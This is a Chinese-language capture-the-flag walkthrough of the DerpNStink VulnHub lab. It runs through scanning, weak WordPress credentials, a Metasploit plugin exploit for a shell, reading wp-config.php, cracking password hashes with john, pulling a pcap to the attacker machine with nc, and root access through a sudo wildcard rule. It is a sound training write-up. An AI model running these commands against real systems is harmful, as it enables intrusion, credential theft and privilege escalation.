下载地址:https://github.com/rishabhkant07/Privilege-Escalation-Cheatsheet-Vulnhub-
其中也附有相应的WP,也是有很多种方法,怎么方便怎么来吧。
下载完靶机,更改网络为NAT模式,与攻击机设置为同一网卡模式。
攻击机(kali)IP:192.168.59.143
主机发现与端口扫描
1、查看靶机 mac 地址
2、netdiscover 扫描主机 IP ,发现主机 IP 为 192.168.59.135
3、nmap 扫描主机端口开放,发现 21、22、80 端口开放
nmap -p- -A 192.168.59.135
web渗透
1、dirb 扫描网站目录
dirb http://192.168.59.135
2、浏览器访问 http://192.168.59.135 ,F12 查看发现第一个 flag
并在 /webnotes/info.txt 获得提示,需要在 hosts 配置 DNS
3、访问扫描到的 /weblog 页面,自动跳转到了 http://derpnstink.local/weblog/
4、所以配置 hosts 文件,访问 /weblog/wp-admin
5、尝试弱口令,admin:admin 成功登录
getshell
1、使用 wpscan 扫描,刚开始扫描不到,后面反应过来没有配置 hosts 文件,配置后成功扫描
wpscan --url http://derpnstink.local/weblog
在知道 wordpress 的管理员账号的前提下,利用 msf 的模块来 getshell,wpscan 扫描到很多插件存在漏洞,在这里使用 Slideshow Gallery 存在的漏洞
search slideshow
use 1
show option
set rhosts 192.168.59.135
set targeturi /weblog/ #设置目标的url目录地址
set wp_user admin
set wp_password admin
run
成功 getshell
提权
1、尝试 sudo 提权,发现需要输入密码,失败,翻看配置文件,发现了目标数据库的账号和密码
python -c 'import pty; pty.spawn("/bin/bash")' # 获得交互式命令行
cd /var/www/html/weblog
ls
cat wp-config.php
root:mysql
2、访问 /php/phpmyadmin ,连接数据库
3、访问 wp_posts 表发现 flag2.txt
4、在 wp_users 表发现两个账户密码
unclestinky:$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
admin:$P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/
5、尝试直接破解 unclestinky 的密码,使用 john 去跑 rockyou 字典,将其密码保存到hashes.txt
john hashes.txt --wordlist=rockyou.txt
# 得到密码为 wedgie57
6、在靶机home目录下发现两个用户,mrderp/stinky
7、使用刚刚得到的密码尝试登陆一下,发现ssh不支持密码密码登陆,只可以通过指纹登陆
8、21 端口开放,尝试登陆一下,stinky 用户登录成功
9、进入 files 目录,发现有个 ssh 目录,一直进入,到最后发现有个 key.txt ,可能是 ssh 登录需要的 key ,将其下载下来
cd /files/ssh/ssh/ssh/ssh/ssh/ssh/ssh
get key.txt
exit
10、使用下载下来的 key.txt 通过 ssh 连接靶机,但是发现报错 sign_and_send_pubkey: no mutual signature supported ,上网查了一下原因,发现是因为 ssh 证书失效了,在后面加一段命令 -o PubkeyAcceptedKeyTypes=+ssh-rsa 即可成功连接
cp key.txt skey.rsa
ls -al skey.rsa
chmod 600 skey.rsa
// ssh -i skey.rsa 192.168.59.135 -l stinky # 报错
ssh -i skey.rsa 192.168.59.135 -l stinky -o PubkeyAcceptedKeyTypes=+ssh-rsa
11、在 desktop 目录发现第三个 flag
12、在 documents 目录发现了一个叫 derpissues.pcap 的文件分析包(pcap后缀)
将其下载到本地,通过 wireshark 查看
# kali
nc -lvvp 1234 > derpissues.pcap
# 靶机
nc -nv 192.168.59.143 1234 < derpissues.pcap
想快速知道账号和密码,前提是知道目标登录的是 web ,登录一般形式都是 POST 请求,所以我们使用 wireshark 进行过滤,只看 POST 请求那么就可以快速找到用户名和密码
http.request.method == "POST"
# 确定目标靶机用户 mrderp 的密码为:derpderpderpderpderpderpderp
13、ssh 连接 mrderp 用户,在 Desktop 目录下发现文件 helpdesk.log ,查看后发现一个提示
14、根据上述提示访问页面 mrderp ALL=(ALL) /home/mrderp/binaries/derpy* - Pastebin.com ,得到提示:
mrderp ALL=(ALL) /home/mrderp/binaries/derpy*
允许 mrderp 用户在主机上以 root 用户权限读写执行 /home/mrderp/binaries/ 目录下 derpy 开头的文件
15、发现没有 binaries 目录,自己创建目录并编辑一个以 derpy 开头的文件
mkdir binaries/
cd binaries/
pwd
echo '/bin/bash' >> derpy.sh # echo一个shell到derpy.sh文件里
chmod 777 derpy.sh
sudo ./derpy.sh
16、在 /root/Desktop 目录下,获得第四个 flag
至此打靶结束